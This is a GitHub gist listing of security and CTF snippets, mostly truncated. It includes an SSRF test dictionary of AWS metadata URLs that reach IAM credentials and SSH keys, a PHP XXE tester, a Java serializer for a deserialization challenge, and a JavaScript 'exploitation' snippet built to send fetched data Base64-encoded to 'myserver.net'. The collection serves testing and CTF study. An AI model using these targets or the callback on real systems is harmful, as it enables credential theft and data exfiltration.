Skip to content

Instantly share code, notes, and snippets.

@0xBADCA7
0xBADCA7 / cloud_metadata.txt
Created August 20, 2017 12:32 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
<?php
// Extended tester from ezimuel (https://gist.github.com/ezimuel/9135151)
// The libxml entity loader is disabled by default
// even setting the libxml_disable_entity_loader to false doesn't works!
//
// @see http://uk3.php.net/manual/en/function.libxml-disable-entity-loader.php
// @see http://stackoverflow.com/a/10213239
// @see https://stackoverflow.com/questions/24117700
$dir = __DIR__;
@0xBADCA7
0xBADCA7 / keybase.md
Created January 14, 2017 01:48
Keybase pseudoproof

Keybase proof

I hereby claim:

  • I am 0xBADCA7 on github.
  • I am 0xbadca7 (https://keybase.io/0xbadca7) on keybase.
  • I have a public key whose fingerprint is CD28 0146 92F1 0D3B C013 01A9 9EF4 A285 A3C0 BB4E

To claim this, I am signing this object:

@0xBADCA7
0xBADCA7 / lib.sh
Last active September 19, 2016 13:01
CSAW 2016 Quals wtf.sh sources. Could be incomplete or slightly modified.
#!/usr/bin/env bash
# Some useful standard functions to have around :)
# check if an array contains a given value
# contains "asdf" "asdf an array of values" => has exit code 0
function contains {
local e;
for e in "${@:2}"; do [[ "$e" == "$1" ]] && return 0; done;
return 1;
@0xBADCA7
0xBADCA7 / README.md
Created September 13, 2016 07:42 — forked from stypr/README.md
ASIS CTF 2016 Finals: pentest (298pt)

pentest (298pt)

Solves: 1

This write-up was made per request of other players who were playing ASIS CTF.

Note: I solved this challenge before the hint was released. \o/

Description

@0xBADCA7
0xBADCA7 / async_requests.py
Created August 27, 2016 06:23
Async HTTP requests in Python
from concurrent.futures import ThreadPoolExecutor
from requests_futures.sessions import FuturesSession
def outp(response):
print(response)
print(response.headers)
print(response.text)
urls = [
"https://www.google.com",
@0xBADCA7
0xBADCA7 / solve.py
Created May 15, 2016 20:26 — forked from elliptic-shiho/solve.py
BCTF 2016 steganography 150: midifan Writeup
from scryptos import *
d = open("out.csv").read().split("\n")
bits = ""
for x in d:
r = x.split(", ")
if len(r) > 4:
if int(r[3]) == 0:
if r[2] == "Note_on_c":
@0xBADCA7
0xBADCA7 / Main.java
Created May 14, 2016 14:29
Simple Java object serializer
/*
* *
* * @0xBADCA7 and github/0xBADCA7
* * How to serialize Java objects. This is from TUCTF 2016.
* *
* * Just compile on the command line (IDE will taint serialization and place package identifiers):
* * javac Main.java && java Main && cat /tmp/serialized.bin
* *
* * */
@0xBADCA7
0xBADCA7 / callback.js
Last active March 19, 2016 12:37
Collection of useful Javascript snippets when it comes to CTF or exploitation
/*
* Fire two consecutive AJAX calls having the second one contain
* the results of the first one in Base64 format.
*/
if (1) /* can be any guard like if (chrome) ... */
{
var FIRST_ADDR = 'http://127.0.0.1:8888';
var SECOND_ADDR = 'http://myserver.net'
var resp, xhr = new XMLHttpRequest();
@0xBADCA7
0xBADCA7 / script.sh
Created March 12, 2016 21:47
Add 32 bit binary support to Ubuntu 64 bit
sudo dpkg --add-architecture i386
# echo "foreign-architecture i386" > /etc/dpkg/dpkg.cfg.d/multiarch
sudo apt-get update
sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386